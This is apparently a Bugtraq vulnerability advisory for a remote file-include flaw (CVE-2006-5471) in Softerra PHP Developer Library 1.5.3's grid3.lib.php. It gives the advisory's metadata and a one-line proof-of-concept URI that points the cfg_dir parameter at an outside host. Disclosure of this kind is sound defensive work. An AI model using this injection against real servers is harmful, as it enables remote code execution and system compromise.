Softerra PHP Developer Library Grid3.lib.PHP Remote File Include Vulnerabilities

Bugtraq ID:	20442
Class:	Input Validation Error
CVE:	CVE-2006-5471
Remote:	Yes
Local:	No
Published:	Oct 10 2006 12:00AM
Updated:	Jul 06 2016 02:09PM
Credit:	k1tk4t is credited with the discovery of this vulnerability.
Vulnerable:	Softerra PHP Developer Library 1.5.3
Not Vulnerable:

Softerra PHP Developer Library Grid3.lib.PHP Remote File Include Vulnerabilities

Softerra PHP Developer Library is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.5.3; previous versions are affected as well.

Softerra PHP Developer Library Grid3.lib.PHP Remote File Include Vulnerabilities

An attacker can exploit these issues via a web client.

The following proof-of-concept URI is available:

http://www.example.com/PHPLibrary-1.5.3/example/lib/grid3.lib.php?cfg_dir=http://www.example.com

Softerra PHP Developer Library Grid3.lib.PHP Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Softerra PHP Developer Library Grid3.lib.PHP Remote File Include Vulnerabilities

References:

• PHP Developer Library (Softerra)
  
• PHPLibrary <= 1.5.3 Remote File Inclusion (k1tk4t)